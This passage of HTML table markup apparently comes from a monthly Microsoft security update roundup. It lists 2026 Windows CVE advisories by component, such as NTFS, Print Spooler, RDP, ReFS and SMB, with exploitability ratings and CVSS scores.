Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50448">CVE-2026-50448</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50471">CVE-2026-50471</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50461">CVE-2026-50461</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50417">CVE-2026-50417</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50482">CVE-2026-50482</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50494">CVE-2026-50494</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50344">CVE-2026-50344</a></td><td><p>Windows OLE Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50686">CVE-2026-50686</a></td><td><p>Windows OLE Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50335">CVE-2026-50335</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54987">CVE-2026-54987</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50435">CVE-2026-50435</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50409">CVE-2026-50409</a></td><td><p>Windows Overlay Filter Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40400">CVE-2026-40400</a></td><td><p>Windows PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55004">CVE-2026-55004</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50499">CVE-2026-50499</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50383">CVE-2026-50383</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57085">CVE-2026-57085</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58608">CVE-2026-58608</a></td><td><p>Windows Print Spooler Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50469">CVE-2026-50469</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50434">CVE-2026-50434</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50339">CVE-2026-50339</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50430">CVE-2026-50430</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50334">CVE-2026-50334</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50363">CVE-2026-50363</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50431">CVE-2026-50431</a></td><td><p>Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50372">CVE-2026-50372</a></td><td><p>Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54982">CVE-2026-54982</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54995">CVE-2026-54995</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50666">CVE-2026-50666</a></td><td><p>Windows Remote Access Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56647">CVE-2026-56647</a></td><td><p>Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50330">CVE-2026-50330</a></td><td><p>Windows Remote Desktop Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50376">CVE-2026-50376</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50504">CVE-2026-50504</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58533">CVE-2026-58533</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58535">CVE-2026-58535</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58546">CVE-2026-58546</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58539">CVE-2026-58539</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55003">CVE-2026-55003</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57979">CVE-2026-57979</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50445">CVE-2026-50445</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50497">CVE-2026-50497</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54126">CVE-2026-54126</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57982">CVE-2026-57982</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50369">CVE-2026-50369</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58626">CVE-2026-58626</a></td><td><p>Windows Remote Desktop Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50318">CVE-2026-50318</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50407">CVE-2026-50407</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50357">CVE-2026-50357</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50441">CVE-2026-50441</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50668">CVE-2026-50668</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54109">CVE-2026-54109</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49792">CVE-2026-49792</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49793">CVE-2026-49793</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50362">CVE-2026-50362</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50492">CVE-2026-50492</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58530">CVE-2026-58530</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49791">CVE-2026-49791</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50451">CVE-2026-50451</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57096">CVE-2026-57096</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50452">CVE-2026-50452</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50348">CVE-2026-50348</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50410">CVE-2026-50410</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50449">CVE-2026-50449</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50460">CVE-2026-50460</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50457">CVE-2026-50457</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50486">CVE-2026-50486</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54125">CVE-2026-54125</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50373">CVE-2026-50373</a></td><td><p>Windows Search Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-44806">CVE-2026-44806</a></td><td><p>Windows Secure Channel Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50681">CVE-2026-50681</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56186">CVE-2026-56186</a></td><td><p>Windows Secure Channel Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42982">CVE-2026-42982</a></td><td><p>Windows Secure Kernel Mode Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50694">CVE-2026-50694</a></td><td><p>Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50367">CVE-2026-50367</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58619">CVE-2026-58619</a></td><td><p>Windows Sensor Data Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50311">CVE-2026-50311</a></td><td><p>Windows Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56188">CVE-2026-56188</a></td><td><p>Windows Server Network driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p><p></p><table><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50444"><br>CVE-2026-50444</a></td><td><p>Windows Server Update Service (WSUS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50328">CVE-2026-50328</a></td><td><p>Windows Server Update Service (WSUS) Tampering Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58531">CVE-2026-58531</a></td><td><p>Windows SMB Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54997">CVE-2026-54997</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49801">CVE-2026-49801</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50690">CVE-2026-50690</a></td><td><p>Windows SMB Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56168">CVE-2026-56168</a></td><td><p>Windows SMB Server Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50360">CVE-2026-50360</a></td><td><p>Windows SMB Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57089">CVE-2026-57089</a></td><td><p>Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50333">CVE-2026-50333</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50298">CVE-2026-50298</a></td><td><p>Windows Spaceport.sys Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49171">CVE-2026-49171</a></td><td><p>Windows Speech Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49170">CVE-2026-49170</a></td><td><p>Windows StateRepository API Server file Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58526">CVE-2026-58526</a></td><td><p>Windows Storage Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50299">CVE-2026-50299</a></td><td><p>Windows Storage Spaces Direct Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50306">CVE-2026-50306</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50307">CVE-2026-50307</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49177">CVE-2026-49177</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54999">CVE-2026-54999</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50669">CVE-2026-50669</a></td><td><p>Windows Telephony Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54124">CVE-2026-54124</a></td><td><p>Windows Terminal Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50350">CVE-2026-50350</a></td><td><p>Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50326">CVE-2026-50326</a></td><td><p>Windows Unified Consent System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49790">CVE-2026-49790</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50498">CVE-2026-50498</a></td><td><p>Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58547">CVE-2026-58547</a></td><td><p>Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49794">CVE-2026-49794</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>4.6</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50453">CVE-2026-50453</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58528">CVE-2026-58528</a></td><td><p>Windows USB Audio Class Driver Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50321">CVE-2026-50321</a></td><td><p>Windows USB Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50479">CVE-2026-50479</a></td><td><p>Windows USB Hub Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49804">CVE-2026-49804</a></td><td><p>Windows USB Video Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less 